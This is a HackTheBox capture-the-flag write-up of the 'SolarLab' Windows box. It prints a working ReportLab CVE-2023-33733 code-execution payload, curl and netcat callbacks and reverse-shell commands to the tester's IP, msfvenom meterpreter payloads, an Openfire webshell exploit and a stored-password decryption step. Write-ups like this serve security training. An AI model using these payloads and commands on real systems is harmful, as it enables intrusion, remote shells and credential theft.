SolarLab
2024-05-11
INTRODUCTION
SolarLab was released as the fourth box in HTB’s Season V Anomalies. Although it’s rated Medium, I would rate it more like an Easy. The box is about a company of three employees that are creating an instant messaging platform. The background is largely unimportant for the solution, though.
This box takes little to no recon. Checking the SMB share will give you want you need to get started. Reading through or spidering the initial website on port 80 will lead you towards a subdomain on another port, where you will find a nice little web challenge for exploiting inadequate input validation / sanitization and a vulnerable backend PDF-generation library. It might take a little bit of determination to find exactly the vulnerable portion of this website, but once found it is quite easy to gain RCE, and immediately after grab the user flag.
The path towards the root flag is also very easy. It starts with a pivot to the next user, from some easily-found plaintext credentials. But beware - there is a long rabbit-hole on this one! Seemingly due to a coincidence, the rabbit-hole seems very lucrative when you first find it, and it is very tempting to dive deeply into it… You’ll be smart to take it slow and carefully evaluate each step and consider unexplored information before going too deeply into different methods of exploitation. In the end, obtaining the root flag requires little more than stumbling across an encrypted password in yet another database, then finding a way to read it.
This box wasn’t too difficult. It was good practice for some Windows skills.
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
6791/tcp open hnm
Mostly typical ports. We see SMB, MSRPC, HTTP, and a more suspicious port: 6791, which Nmap has identified as “hnm”, or Halcyon Network Manager.
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-05-11T19:52:00
|_ start_date: N/A
|_clock-skew: 2m24s
Port 6791 is also running an nginx webserver - possibly the same one. It’s at the subdomain http://report.solarlab.htb
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
Vuln scan had no meaningful results.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
UDP showed nothing in the top 100 ports.
Webserver Strategy
Noting the two redirects on ports 80 and 6791 from the nmap scan, I added solarlab.htb
and report.solarlab.htb
to /etc/hosts and did banner grabbing on each:
DOMAIN=solarlab.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
echo "$RADDR report.$DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR
Nginx is at version 1.24.0, which is the latest “legacy” version. Maybe worth looking into? That is, however, a very old version of Jquery: 10 years old… That’s definitely worth checking 🚩
Aside: JQuery 2.1.0
JQuery 2.1.0 is ten years old. This seems conspicuous and intentional. Snyk’s report and NVD both show that this version could open up a webserver to XSS vulnerabilities and also prototype pollution. I’ll keep an eye out for opportunities to utilize this.
whatweb --aggression 3 http://report.$DOMAIN:6791
A login page, using the same version of nginx (probably the same server / reverse proxy).
Next I performed vhost and subdomain enumeration. I’ll start with the root domain, in case it’s not just solarlab
:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No result from that. I’ll assume for now that the only root domain is solarlab.htb
. I should also check the other port, but I’m not expecting a new result there either.
ffuf -w $WLIST -u http://$RADDR:6791/ -H "Host: FUZZ.htb" -c -t 60 -timeout 4 -ic -ac -v
As expected, no other result. Now I’ll check for subdomains solarlab.htb
:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
No new results from that either. I’ll check if there is anython other than report.solarlab.htb
on port 6791:
ffuf -w $WLIST -u http://$RADDR:6791/ -H "Host: FUZZ.$DOMAIN" -c -t 80 -o fuzzing/vhost-$DOMAIN-6791.md -of md -timeout 4 -ic -ac -v
Nope! Only the one we already knew about. I’ll move on to directory enumeration on http://solarlab.htb and http://report.solarlab.htb:6791:
DIRLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt"
ffuf -w $DIRLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 -c -o ffuf-directories-root-6791 -of json -timeout 4 -v
FILELIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $FILELIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 -c -o ffuf-files-root-6791 -of json -e .php,.asp,.js,.html -timeout 4 -v
It seems like a very typical static webste, as far as I can tell. The only notable thing was this con
directory and con.html
, each causing a 500 error:
Next I’ll perform directory and file enumeration against http://report.solarlab.htb:6791/:
DIRLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt"
ffuf -w $DIRLIST:FUZZ -u http://report.$DOMAIN:6791/FUZZ -t 80 -c -o ffuf-directories-report-6791 -of json -timeout 4 -v
FILELIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $FILELIST:FUZZ -u http://report.$DOMAIN:6791/FUZZ -t 80 -c -o ffuf-files-report-6791 -of json -e .php,.asp,.js,.html -timeout 4 -v
Oh? Check out that redirect from the login page. 🤔 I wonder if we can play around with that parameter 🚩
File enumeration didn’t show anything new.
Exploring HTTP (80)
As we saw earlier, there is a webserver running on port 80, with the domain solarlab.htb
.
The index page seems to be a very typical landing page for a countdown to a project. It shows a countdown, the team, and a contact form.
The contact form and email entry don’t seem to do anything. The email entry is actually hooked up to a POST, but upon trying to use it, you’ll just get a HTTP 405 error.
Exploring HTTP (6791)
Seems like a normal login page, right? It’s not really a vulnerability per se but this login form definitely doesn’t follow best-practices. Check out the result of trying a bogus login admin : Password123:
☝️ Instead of saying something generic like “Invalid credential”, it says “User not found”. That means that I might be able to enumerate a username separately from a password… Then, the brute-forcing problem reduces from O(N*M)
for N
usernames and M
passwords to O(N+M)
; that’s a huge improvement. To investigate this, I saved the above proxied request and made a custom wordlist of usernames:
cd /home/kali/Tools/username-anarchy
./username-anarchy Alexander Knight >> ~/Box_Notes/SolarLab/fuzzing/usernames.txt
./username-anarchy Claudia Springer >> ~/Box_Notes/SolarLab/fuzzing/usernames.txt
./username-anarchy Blake Byte >> ~/Box_Notes/SolarLab/fuzzing/usernames.txt
USERS=~/Box_Notes/SolarLab/fuzzing/usernames.txt
ffuf -w $USERS:USER -request login_post.raw -d "username=USER&password=Password123" -c -v -fr 'User not found'
Wow, that’s great - got all three of them! I’ll look into brute-forcing passwords on these usernames as a last resort 🚩
Let’s try tossing sqlmap
at it, just to see what happens:
sqlmap -u "http://report.solarlab.htb:6791/login" --data "username=admin&password=Password123" --random-agent --level=3 --risk=2 --batch
No luck, it didn’t find anything.
Exploring SMB (139, 445)
Let’s try connecting to SMB and see if there’s anything we can read with anonymous credentials:
ADMIN$
, C$
and IPC$
are always there, but the Documents
share definitely looks interesting - let’s connect to that share:
Whoa! There’s some juicy-looking documents inside there. I’ll take a look at those as soon as I’m done looking through this share. What about that concepts
directory?
A couple more files in there. Let’s take a look at all those files we just downloaded:
details-file.xlsx
😆 Oh man… you must be joking! If those are their actual passwords, then we just found three credentials:
- alexanderk : danenacia9234n
- blakeb : ThisCanB3typedeasily1@
- claudias : dadsfawe9dafkn
☝️ I’m inferring usernames based on the username enumeration I performed earlier
Once I’m done looking through these documents, I’ll try those credentials with the RPC port and at report.solarlab.htb
🚩
The other three documents that I obtained were just normal forms and templates. Nothing special. They didn’t seem to hold any important info, either.
FOOTHOLD
RPC port 135
Hacktricks mentioned that, with valid credentials, we can obtain RCE by using the impacket-dcomexec
tool for port 135. I tried it on the target; as suggested, I tried all three “object” values:
impacket-dcomexec blakeb@$RADDR
impacket-dcomexec -object ShellWindows blakeb@$RADDR
impacket-dcomexec -object ShellBrowserWindow blakeb@$RADDR
impacket-dcomexec -object MMC20 blakeb@$RADDR
All resulted in the same message: Unknown DCE RPC fault status code: 00000721
.
report.solarlab.htb Dashboard
I’ll try each of the credentials I found to log into the dashboard. My hope is that blakeb
will have a login, as a developer.
- ❎ alexanderk (tried all 4 passwords)
- ✅ blakeb : ThisCanB3typedeasily1@ works for logging into the dashboard
- ❎ claudias
The dashboard itself is just four buttons. There is, however, a message at the top that emphasizes how secure this site is:
Each of those four buttons brings you to a form. Each of those forms seem functionally identical - as an example, here’s the Leave Request:
Ooooh! Lots to play with on this form. There’s also a file upload. Also, this form seems to suggest that our inputs will become inputs to a PDF document (generated on the server).
Let’s try proxying the PDF generation. The headers might hold some useful info. For what it’s worth, the PDF generation does indeed work, and contains our uploaded file:
The response to the proxied request (the PDF document) looks like this:
HTTP/1.1 200 OK
Server: nginx/1.24.0
Date: Sat, 11 May 2024 23:13:57 GMT
Content-Type: application/pdf
Content-Length: 313992
Connection: keep-alive
Cache-Control: no-cache
Content-Disposition: inline; filename=output.pdf
Vary: Cookie
%PDF-1.4
% ReportLab Generated PDF document http://www.reportlab.com
1 0 obj
...
Aha, so it’s generated by ReportLab. Their official site is here. A quick google search for “reportlab exploit vulnerability cve” brought me straight to a Github repo describing their research (CVE-2023-33733) and PoC for exploiting this PDF library. That’s a great sign - let’s see if we can turn this into RCE.
USER FLAG
CVE-2023-33733
The PoC code is very simple. The short answer is that I need to inject the following into a paragraph that finds its way into the PDF. Where? I’m not sure yet…
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
Obviously, the touch /tmp/exploited
part will need to be swapped-out. I’ll try variants with nc
, wget
, curl
and powershell
to see if I can get it to contact an HTTP server on my end. First though, I’ll need to start up a listener:
👇 I’m using my own tool, simple-http-server. It’s just a slight improvement on Python
http.server
, a lot like a PHP server, but with a few advantages for file upload and data exfiltration using base64.
sudo ufw allow from $RADDR to any port 8000,8001 proto tcp
cd www # ...just contains a simple index.html
nc -lvnp 8001 &
simple-server 8000 -v
Next, let’s craft a payload. I’ll use the sample payload from the PoC, but exchange the shell command:
nc 10.10.14.50 8001
wget http://10.10.14.50:8000/?f=wget
curl http://10.10.14.50:8000/?f=curl
powershell Invoke-WebRequest -Uri http://10.10.14.50:8000/?f=powershell
certutil -urlcache -f "http://10.10.14.50:8000/?f=certutil" response.txt
I’ll use each of those payloads, and try embedding it in various fields on the form:
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('nc 10.10.14.50 8001') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
It’s probably worth checking this on each of the four forms that are provided: Leave request, Training request, Home office request, and Travel approval.
We saw from the form that all of the fields available to us are reflected within the PDF.
- The
Date
field seems like it gets processed by the server before it’s rendered, so that’s not ideal. - The
Phone
number gets reflected to the PDF, but seems to have frontend validation on it. Didn’t test if there is any kind of backend validation on it yet. - The
Justification
field seems to be free-form text, and looks like it accomodates plenty of formats. That’s good - if the developer didn’t use a robust library for formatted text, then we may be able to sneak the payload past any validation or sanitization on this field. - The
Signature
expects a picture, but again this is not insurmountable. Before I dive into embedding the payload within an image file, I should try the other options first.
🤔 Ordered from easiest to hardest (to use for an exploit), I think it’s probably Justification
, Phone
, then Signature
fields.
Taking all of the above forms and sequencing of fields to try, I’ll start with the Leave Request:
However, it seems that the payload is actually substantially larger than the maximum characters. Are all of the forms limited like this?
Well, they all have that on the big text-edit field, and all of those fields have a character limit… but actually Home office request and Travel approval forms each have a text field aside from the big text-edit field (Home office address
and Travel destination
respectively). They also have a max number of characters, but I’ll just remove that from the DOM itself:
Then I can easily fit the payload inside the address field:
I proxied the request to examine it using ZAP. Thankfully, there appears to be no anti-CSRF token or anything, so I can freely just toss the request into the Requester tab and try different payloads 🤗
While on the Home office request
form, using the address
field, and using the curl
payload, I got the target to contact me! 🎉 That proves we have RCE on the target.
Next, let’s try to turn this RCE into a reverse shell
sudo ufw allow from $RADDR to any port 4444 proto tcp
rlwrap nc -lvnp 4444
Then I tried the same as above, but with a nc
payload:
nc 10.10.14.50 4444 -e cmd.exe
…However, I didn’t get any result. Same as if I didn’t use the -e
argument at all. Perhaps the target doesn’t have nc
available? 🤔
Let’s take a step back and think. I’ve already proven that the target will connect to my HTTP server, so I have a few options to get around this:
- Serve the target a copy of
nc.exe
then use a payload with a relative path to the executable - Serve the target a self-contained reverse shell
exe
in one request, then run that reverse shell. - Many other options
Either way, the second way seems slightly easier so I’ll try that. First, generate the reverse shell exe
(I’ll do two copies, one for x86 and one for x64):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.50 LPORT=4444 -a x64 -f exe -o reverseshell64.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.50 LPORT=4444 -f exe -o reverseshell86.exe
# Then close the old reverse shell listener and instead open msfconsole
msfconsole
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST tun0
> set LPORT 4444
> run
After several tries, I got it to work: I’ll serve the x64 reverse shells to the target, using the following payload:
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('curl -o reverseshell64.exe http://10.10.14.50:8000/reverseshell64.exe') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
With the reverse shell on the target, we just need to run it. I’ll send another payload to get the target to run the exe
we just served:
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('reverseshell64.exe') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
After a couple seconds, I saw the reverse shell listener respond:
The user flag is exactly where you’d expect:
ROOT FLAG
Local enumeration: blake
In my experience, I’ve found that the best way to start enumeration is by checking the web app directory (assuming you used a web app for foothold). I used meterpreter to download the whole thing. In blake’s Documents, we have a simple python Flask server:
The contents of app.py
show that it’s a fairly simple Flask server, and that it connects to users.db
using the SQLAlchemy interface. Let’s check out that database:
The only table, user
, seems to show credentials for each of the three employees. These would be credentials to the dashboard, but I should keep them in mind in case of credential re-use.
Next lets check the users on the box:
Hmm… “openfire”. It’s a bit of a stretch, but maybe that’s related to Alexander’s password “HotP!fireguard”?
Checking out Program Files
shows another mention of Openfire. However, our access (as blake
) is denied:
Now seems like a good time to check for credential re-use between the web app and the box itself. I’ll use RunasCs.exe
for this. Since i know the box uses SMB, that’s probably the most convenient method of file transfer:
# Open the firewall for SMB
sudo ufw allow from $RADDR to any port 139,445 proto tcp
# Transfer some useful tools into the smb share
cd exploit
cp ~/Tools/nc.exe ~/Tools/RunasCs.exe .
# Host the smb share
impacket-smbserver -smb2support -username 'kali' -password 'testtesttest' share .
# Map the SMB share to X:\
net use x: \\10.10.14.50\share /user:kali testtesttest
# Check for credential re-use:
X:\RunasCs.exe openfire HotP!fireguard "whoami"
Nice! That’s successful. Let’s now open up a reverse shell as openfire
instead:
sudo ufw allow from $RADDR to any port 4445,4446 proto tcp
rlwrap nc -lvnp 4445
I opened an extra port, in case we end up getting to
nt authority/system
🤞
cd C:\Users\Public\Downloads
copy X:\nc.exe
X:\RunasCs.exe openfire HotP!fireguard "C:\Users\Public\Downloads\nc.exe 10.10.14.50 4445 -e cmd.exe" -t 0
After a moment, we have a reverse shell as openfire
:
🤑 Great! just pivoted to the next user
Local enumeration: openfire
Now that I have a shell as openfire
, let’s go check out that directory in Program Files
that we were locked out of. It seems like a normal/large-sized application, so I decided to copy the whole thing over SMB to examine it from my attacker box.
net use x: \\10.10.14.50\share /user:kali testtesttest
cd "C:\Program Files"
xcopy Openfire X:\Openfire /E /H /I /Y
While that was copying, I started reading up on this “openfire” thing.
According to the official website: “Openfire is a powerful instant messaging (IM) and chat server that implements the XMPP protocol.”
A little further down, there’s a hint at something that could have easily been misconfigured:
“Since 4.1.5 Openfire installs and runs the service automatically (also opens the browser and loads the web setup page). The launcher (if one wants to use it) is also made to run in elevated mode, so one don’t need to run it as administrator manually. But you shouldn’t use the launcher, if the service is running. Because this will create a conflict.”
That same page also seems to suggest that there might be an admin console running on ports 9000 (http) and 9001 (https). A quick check of netstat
seemingly shows that to be false, but I do see 9090 and 9091…
Openfire vulnerability research
🚫 This was not useful. This part is interesting if you want to see how Openfire can be exploited, but if you’re short on time just skip to the section where I got back on track.
I’ll check online to see if there are any obvious vulnerabilities for this software. A google search for “Openfire vulnerability exploit CVE” gave a lot of results. Very prominently, there were several mentions of CVE-2023-32315. Apparently, there is a path traversal in the admin dashboard. Could this be used for privesc? Possibly 🤷♂️
The CVE affects versions prior to 4.7.5, and according to changelog.html
in the program directory, the installed version is 4.7.4 👍 I saw two PoC exploits on github for this CVE: one by K3ysTr0K3R and another by miko550. For more context on those PoCs, this article does a really good job of explaining exactly howt he vulnerability can be exploited. In the miko550
PoC, the admin dashboard gains a webshell (as a malicious plugin), so we can use this for RCE.
I found some more recent information about Openfire, this time from HackTheBox itself! The article is about CVE-2024-25420 and CVE-2024-25421, and was only written 1.5 months ago. It’s about improper creation and deletion of admin users. By itself, it won’t lead to RCE. However, it may aid in creating an admin user to exploit CVE-2023-32315
Accessing Openfire dashboard
🚫 This was not useful. This part is interesting if you want to see how Openfire can be exploited, but if you’re short on time just skip to the section where I got back on track.
Both PoC exploits look like they require access to the admin dashboard for Openfire. I think the best way to gain access is to set up a socks5 proxy - for that, I’ll use chisel:
sudo ufw allow from $RADDR to any port 9999 proto tcp
cp ~/Tools/WINDOWS/chisel.exe ./exploit # copy chisel to the SMB share
/home/kali/Tools/STAGING/chisel server --port 9999 --reverse &
cd C:\Users\openfire\Downloads
copy X:\chisel.exe
start /b chisel.exe client 10.10.14.50:9999 R:1080:socks
OK the proxy should be established. Let’s do a quick round-trip test using it; I’ll request the index page of the http server I’m running from my attacker box:
Looks good. Now let’s see if that admin dashboard is running on 9090. If my assumption is correct, 9090 should have HTTP and 9091 should be HTTPS.
Confirmed! The Openfire admin dashboard is indeed running on that pair of ports. We don’t currently have a login for this dashboard, but that’s exactly what those two PoC scripts for CVE-2023-32315 do!
git clone https://github.com/miko550/CVE-2023-32315.git miko550
cd miko555
python3 -m venv .
source bin/activate
pip3 install -r requirements.txt
proxychains python3 CVE-2023-32315.py -t http://localhost:9090
Perfect. Thanks miko550! Anyone reading this should go give their repo a star.
CVE-2023-32315 for RCE
🚫 This was not useful. This part is interesting if you want to see how Openfire can be exploited, but if you’re short on time just skip to the section where I got back on track.
Following the instructions from the PoC README
, we end up accessing a webshell by installing an extra plugin for the dashbowrd (provided in the repo). Go to the plugins tab:
Upload the provided plugin, openfire-management-tool-plugin.jar
:
We can utilize the new plugin by going to Server > Server Management > Management Tool and logging in with password 123:
We can access the webshell by choosing system command from the dropdown menu:
The page loads are very slow on this dashboard (probably due to the proxy?), so I want to prepare everything such that it requires as little interaction from the webshell as possible. As such, I’ll prepare a reverse shell using msfvenom
again and place it in C:\Users\Public\Downloads
so any user can access it.
cd ./exploit # move to the SMB share
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.50 LPORT=4447 -a x64 -f exe -o reverseshell4447.exe
sudo ufw allow from $RADDR to any port 4447
msfconsole
> use exploit/multi/handler
> set LHOST tun0
> set LPORT 4447
> run
Now using one of the other reverse shells I already have open, let’s put the reverse shell in position:
cd C:\Users\Public\Downloads
copy X:\reverseshell4447.exe
Everything is ready. Let’s utilize this webshell! Just to test, I’ll try whoami
first:
😞 Oh, right. I should have expected that. Of course the Openfire application is running as openfire
- duh! OK, I’ll have to find a way to escalate privilege.
Making a new Openfire admin
🚫 This was not useful. This part is interesting if you want to see how Openfire can be exploited, but if you’re short on time just skip to the section where I got back on track.
However, we’re not entirely out of luck! Remember those other two CVEs, the more recent ones shown in that HackTheBox article? One was CVE-2024-25420. While it’s not actually related to the CVE, that article shows that we can create a new user and grant them admin access. Perhaps this will be enough for privilege escalation?
I’ve created a new user jimbob : dove-birb-987 with admin access, hopefully. Lets logout then log in as jimbob.
Conventiently, the dashboard still has the plugin from the miko550 CVE-2023-32315 PoC still enabled. Let’s try using it; I’ll open a reverse shell:
sudo ufw allow from $RADDR to any port 4448 proto tcp
rlwrap nc -lvnp 4448
Seems to have worked, although this shell is still actually just openfire
:
🤔 Interestingly, I do seem to have a new set of privileges. In the other reverse shells, blake
and openfire
both have these privileges:
According to Microsoft, SeCreateGlobalPrivilege
is for this:
The user right is required for a user account to create global file mapping and symbolic link objects. Note that users can still create session-specific objects without being assigned this user right. By default, members of the Administrators group, the System account, and Services that are started by the Service Control Manager are assigned the “Create global objects” user right.
Unclear how I might utilize that. Make a link to the flag? This might be a dead-end. I’ll keep searching for other clues, and come back to this if I get desparate 🚩
Openfire Program Files
I hadn’t yet looked through all of the Openfire directory that I downloaded, so I browsed through it manually for a bit. Very quickly, I found an intersting-sounding subdirectory called embedded-db
:
openfire.script
appears to be a database initialization script. Inside, we see a hashed credential being stored:
CREATE MEMORY TABLE PUBLIC.OFUSER(USERNAME VARCHAR(64) NOT NULL,STOREDKEY VARCHAR(32),SERVERKEY VARCHAR(32),SALT VARCHAR(32),ITERATIONS INTEGER,PLAINPASSWORD VARCHAR(32),ENCRYPTEDPASSWORD VARCHAR(2
55),NAME VARCHAR(100),EMAIL VARCHAR(100),CREATIONDATE VARCHAR(15) NOT NULL,MODIFICATIONDATE VARCHAR(15) NOT NULL,CONSTRAINT OFUSER_PK PRIMARY KEY(USERNAME))
...
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
...
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
USERNAME: admin
STOREDKEY: gjMoswpK+HakPdvLIvp6eLKlYh0=
SERVERKEY: 9MwNQcJ9bF4YeyZDdns5gvXp620=
SALT: yidQk5Skw11QJWTBAloAb28lYHftqa0x
ITERATIONS: 4096
PLAINPASSWORD: NULL
ENCRYPTEDPASSWORD: becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442
In the neighboring conf
directory, there is a file security.xml
that identifies this has as blowfish.
Openfire admin hash
I might be able to figure out how to construct that into a blowfish hash, but when I was searching how to do that, I came across a purpose-built tool that claims to decrypt an Openfire hash automatically. The tool itself is very poorly documented, but there are some details in a thread of the hashcat forums:
In short, we need to provide the encrypted password and the passwordKey.
git clone https://github.com/c0rdis/openfire_decrypt.git
cd openfire_decrypt
javac OpenFireDecryptPass.java
ava OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
Very rapidly, it provided a result:
Cool, so we found the password for the admin
user from Openfire: admin : ThisPasswordShouldDo!@. I’ll check if there’s anything else I can access on the dashboard that I havent seen yet. However, since I just found a new password, I should check everything else for credential re-use, just in case.
Credential reuse
On this box, we already have the password for openfire
, so I’ll check if the new password works for either of the other two.
Since I’m not sure if blake
can access SMB, it’s a better test to just try RunasCs.exe
instead:
X:\RunasCs.exe blake "ThisPasswordShouldDo!@" "cmd /c whoami /all"
X:\RunasCs.exe Administrator "ThisPasswordShouldDo!@" "cmd /c whoami /all"
blake
didn’t work… but Administrator
did!! 🎉 Let’s turn this into a reverse shell!
Administrator shell
I still have one of my reverse shell listeners sitting around, on port 4447. This is one that I created a reverse shell payload in msfvenom
for but hadn’t actually used it yet. Regardless, since I already have nc
on the box, I’ll use that instead.
sudo ufw allow from $RADDR to any port 4447 proto tcp
rlwrap nc -lvnp 4447
With the listener established, we can use RunasCs.exe
again to open a reverse shell:
.\RunasCs.exe Administrator "ThisPasswordShouldDo!@" "C:\Users\Public\Downloads\nc.exe 10.10.14.50 4447 -e cmd.exe" -t 0
And there’s our shell as solarlab\administrator
! The root flag is exactly where it normally is; type
it of the final points of this box 💰
CLEANUP
Target
I’ll get rid of the all of the executables that I transferred to the target:
cd C:\Users\Public\Downloads
del /q /s .\*
Other than that, I simple need to terminate my SMB share and everything becomes inaccessible.
Even then, since this is a personal instance, I can just terminate the whole instance 😉
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space. On this box, I copied the whole C:\Program Files\Openfire
directory:
cd loot
cp Openfire/embedded-db/openfire.script .
rm -rf Openfire
The size of everything else I obtained is negligible.
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
Other than that, I’ll close my chisel
tunnel and be done with it.
LESSONS LEARNED
Attacker
⏩ Don’t test HTTP(S) first. Web can be a very large attack surface. Also, web enumeration can be complicated and protracted. If you find other ports open that are running interesting things (SMB and FTP really come to mind) then you should test those first instead of HTTP.
🐝 Make small test-cases when you’re trying to figure out if something will work. Don’t rush ahead and try to deliver a whole fully-formed payload: test as incrementally as possible and you will find yourself accomplishing your goals much faster than you otherwise might.
🔍 “Can I access the credentials?” That should be the very first question when you gain access to the
Program Files
for an application or service. You can put yourself down a very deep rabbit-hole if you don’t stop and think before diving into deeper questions like “how can I exploit this service? What’s hiding in there that I cant find?”.👭 Always check credential reuse. Just do it. Every time. It’s annoying because we all want to be super h4x0rz and pull off epic chains of exploits, but actually checking for credential reuse is way higher yield. It’s easy and doesn’t take much time, but could save you hours.
Defender
🤡 If you’re keeping passwords and security question in a spreadsheet in plaintext, you need to take a hard look at yourself and how you got here.
🥅 Use frontend and backend validation / sanitization hand-in-hand. Frontent validation and sanitization are important because they reduce the frequency of automated attacks, but in reality it’s the backend that should be preventing a determined attacker. If possible, also add a WAF into the mix to ease the burden on your backend.
⛔ Databases shouldn’t store plaintext credentials. Actually, just don’t store plaintext credentials anywhere.
👮 Use an antivirus in Windows. If this target had an antivirus enabled, it would have been substantially harder to do many of the steps that I used. For every pivot between users, I was opening fresh shells. I also ran loud/noisy privesc enumeration tools. All of this, realistically, should have been thwarted by an AV.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake